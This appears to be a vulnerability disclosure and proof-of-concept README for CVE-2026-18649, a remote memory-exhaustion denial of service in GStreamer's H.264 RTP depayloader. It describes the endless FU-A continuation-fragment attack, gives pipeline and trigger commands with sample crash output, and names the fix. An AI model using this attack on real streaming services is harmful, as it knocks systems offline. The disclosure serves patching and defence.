
Proof of concept for CVE-2026-18649, a remote denial of service vulnerability in GStreamer's H.264 RTP depayloader (rtph264depay).
Proof of concept for a resource exhaustion vulnerability in GStreamer's H.264 RTP depayloader (rtph264depay). The same pattern also affects rtph265depay.
During H.264 FU-A fragmented RTP reassembly, each incoming fragment gets pushed into an internal GstAdapter buffer with no size cap. The adapter only flushes when the end-of-fragment (E) bit is set in the FU header. A remote attacker sends one valid start fragment, then an endless stream of continuation fragments while never setting the E bit. The buffer keeps growing until the process runs out of memory and crashes.
Full writeup: 0xsemizzz.vercel.app/projects/gstreamer-cve
gst-plugins-good prior to the upstream fix. Confirmed on 1.28.2 (Ubuntu 24.04).
Start a pipeline, then run the PoC:
gst-launch-1.0 udpsrc port=5036 buffer-size=4194304 \
caps="application/x-rtp,media=video,payload=96,clock-rate=90000,encoding-name=H264" \
! rtph264depay ! fakesink &
PID=$!
python3 trigger.py 5036 $PID
For a fast crash, add a memory limit:
ulimit -v 262144 # 256 MB, process dies in about 12 seconds
gst-launch-1.0 udpsrc port=5036 buffer-size=4194304 \
caps="application/x-rtp,media=video,payload=96,clock-rate=90000,encoding-name=H264" \
! rtph264depay ! fakesink &
python3 trigger.py 5036 $!
[*] port=5036 1 fragment every 0.5ms (~2.8 MB/s)
[*] monitoring VmData (heap), not RSS
[*] target PID=12345 baseline VmData=26 MB
5000 frags ~ 7 MB sent | VmData=35MB (+8MB)
10000 frags ~ 13 MB sent | VmData=44MB (+17MB)
15000 frags ~ 20 MB sent | VmData=53MB (+26MB)
20000 frags ~ 27 MB sent | VmData=62MB (+35MB)
25000 frags ~ 33 MB sent | VmData=71MB (+44MB)
30000 frags ~ 40 MB sent | VmData=79MB (+53MB)
...
DEAD
A max-reassembly-size property was added to rtph264depay and rtph265depay. Applications should set it to a reasonable value (16 MB for video is typical). Default is 0 (unlimited) for backward compatibility.